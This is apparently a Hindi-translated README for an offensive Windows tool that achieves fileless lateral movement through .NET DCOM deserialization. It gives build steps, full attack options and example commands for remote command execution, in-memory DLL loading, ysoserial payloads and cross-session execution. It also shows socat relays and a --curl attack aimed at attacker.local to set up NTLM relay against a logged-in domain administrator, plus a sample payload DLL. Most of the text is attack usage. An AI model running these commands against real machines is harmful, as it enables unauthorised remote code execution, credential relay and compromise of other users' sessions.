
DCOM इन-मेमोरी और फाइललेस लेटरल मूवमेंट तकनीकें .Net डिसीरियलाइज़ेशन के माध्यम से
विंडोज़ फ़ाइललेस लेटरल मूवमेंट तकनीक।
परिचय • निर्माण • उपयोग • तकनीकी विवरण • आभार
यह टूल आपको विंडोज़ मशीन पर रिमोट कोड निष्पादन की सुविधा देता है, बशर्ते आपके पास व्यवस्थापकीय विशेषाधिकार हों। यह DCOM और .NET DCOM सर्वरों के व्यवहार का लाभ उठाता है, जो आने वाली वस्तुओं को स्वचालित रूप से डिसीरियलाइज़ करते हैं। इससे डिस्क पर कुछ भी लिखे बिना मनमाने कमांड निष्पादित करना या DLL लोड करना संभव हो जाता है।
मूल रूप से जेम्स फोरशॉ द्वारा एक विशेषाधिकार वृद्धि तकनीक के रूप में खोजी गई, यह विधि विशिष्ट रजिस्ट्री कुंजियों को दूरस्थ रूप से संशोधित करके पार्श्व गति के लिए अनुकूलित की गई थी। इसके अतिरिक्त, यह DCOM के माध्यम से क्रॉस-सेशन शोषण का समर्थन करता है, जिससे किसी अन्य उपयोगकर्ता सत्र के भीतर उस सत्र के सुरक्षा संदर्भ में मनमाने कमांड निष्पादित किए जा सकते हैं।
यह वर्कस्टेशन और सर्वर दोनों पर काम करता है, लेकिन इस तकनीक के काम करने के लिए लक्ष्य मशीन और हमलावर-नियंत्रित मशीन के बीच नेटवर्क पहुँच आवश्यक है।
अधिक विवरण इस अनुभाग में।
एक रिलीज़ उपलब्ध है, या आप इसे मैन्युअल रूप से बना सकते हैं:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
इस टूल का सफलतापूर्वक उपयोग करने के लिए हमलावर होस्ट (एक उन्नत शेल के माध्यम से) और लक्ष्य मशीन दोनों पर व्यवस्थापकीय पहुँच आवश्यक है।
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help Show this help message and exit
-d, --debug Enable debug logging
-t, --target <value> Set the target hostname or IP
-p, --port <value> Set the target port (Default: 49765)
--clsid <value> Specify a CLSID (no curly braces)
--appid <value> Specify an AppID (no curly braces)
-s, --session <value> Provide a session identifier
-l --listen <host> Specify listener FQDN or IP
-g, --gadget <value> Specify gadget to use
--attacker-sid <value> Set the attacker's SID
--no-port-check Disable port availability check
--restore-backup <path> Restore registry from backup
--local-registry-only Only performs local registry modifications
--remote-registry-only Only performs remote registry modifications
--skip-local-registry-setup Skip local registry setup
--skip-remote-registry-setup Skip remote registry setup
--hku Perform remote registry operations on HKCU instead of HKLM
--fake-clsid Create fake CLSID with fake AppId
Attacks:
--ps-exec <args> Execute a command remotely using PSExec
--exec <cmd> Execute a command remotely
--exec-args <args> Args to pass to the command
--curl <url> Use curl-style web request payload
--file-write-src <src> File to write
--file-write-dst <dst> Destination path
--load-dll <path> Load a DLL into the remote process
--dll-class <value> Class in the DLL to execute (including namespace)
--dll-method <value> Static Method in the class to execute (Default: Run)
--yso-b64 <b64> Execute base64-encoded ysoserial payload
--test-network Check network access from target to attacker machine
--list-sessions List interactive sessions on the target
Examples:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user)
--sessionजैसा कि पहले बताया गया है, किसी अन्य उपयोगकर्ता के सत्र में मनमाना कमांड निष्पादित करने के लिए एक सत्र निर्दिष्ट किया जा सकता है।
[!WARNING] यह केवल उन AppID के साथ काम करता है जो इंटरैक्टिव उपयोगकर्ता की पहचान के अंतर्गत चलने के लिए कॉन्फ़िगर की गई हैं। यह स्वचालित रूप से संभाला जाता है;
--appidतर्क निर्दिष्ट करने की आवश्यकता नहीं है, क्योंकि टूल डिफ़ॉल्ट रूप से यूज़र अकाउंट कंट्रोल सेटिंग्स से संबद्ध AppID का उपयोग करेगा।
[!IMPORTANT] यह केवल तभी काम करता है जब हमलावर मशीन किसी डोमेन से जुड़ी हो, अधिक विवरण यहाँ।
--list-sessionsWTSEnumerateSessions का उपयोग करके लक्ष्य पर दूरस्थ इंटरैक्टिव और सक्रिय सत्रों की सूची बनाएं।
--listenयदि लक्ष्य मशीन सीधे हमलावर के होस्ट तक नहीं पहुँच सकती, तो शोषण विफल हो जाएगा। हालाँकि, एक मध्यवर्ती मशीन निर्दिष्ट करना संभव है जिससे लक्ष्य जुड़ सकता है। सोकैट (socat) जैसे टूल का उपयोग करके, ट्रैफ़िक को इस मध्यस्थ से हमलावर के होस्ट तक रिले किया जा सकता है।
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidजब शोषण को runas /netonly शेल से चलाया जाता है, तो संबद्ध पहचान स्वचालित रूप से प्राप्त नहीं की जा सकती। इसलिए, आक्रमण के सफल होने के लिए --attacker-sid विकल्प का उपयोग करके इसे स्पष्ट रूप से प्रदान करना आवश्यक है।
--exec--exec का उपयोग --exec-args के साथ लक्ष्य पर मनमाने बाइनरी निष्पादित करने के लिए किया जा सकता है:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-execउसी का एक रैपर मात्र है; वही परिणाम इस प्रकार प्राप्त किया जा सकता है:--ps-exec calc
--curlCurl क्रॉस-सेशन शोषण परिदृश्यों में उपयोगी हो सकता है। यदि आपके पास किसी मशीन पर व्यवस्थापकीय विशेषाधिकार हैं और, उदाहरण के लिए, सत्र 3 में एक डोमेन व्यवस्थापक सक्रिय है, तो उस उपयोगकर्ता की ओर से पूरी तरह से .NET के माध्यम से एक प्रमाणित HTTP अनुरोध शुरू करना संभव है। इस अनुरोध को ntlmrelayx.py चला रही हमलावर-नियंत्रित मशीन पर निर्देशित करके, उपयोगकर्ता से समझौता करने के लिए पारंपरिक NTLM रिले आक्रमण किए जा सकते हैं।
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dllकिसी भी मनमाने DLL को डिस्क को छुए बिना पूरी तरह से मेमोरी में लोड करना संभव है। उदाहरण के लिए:
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}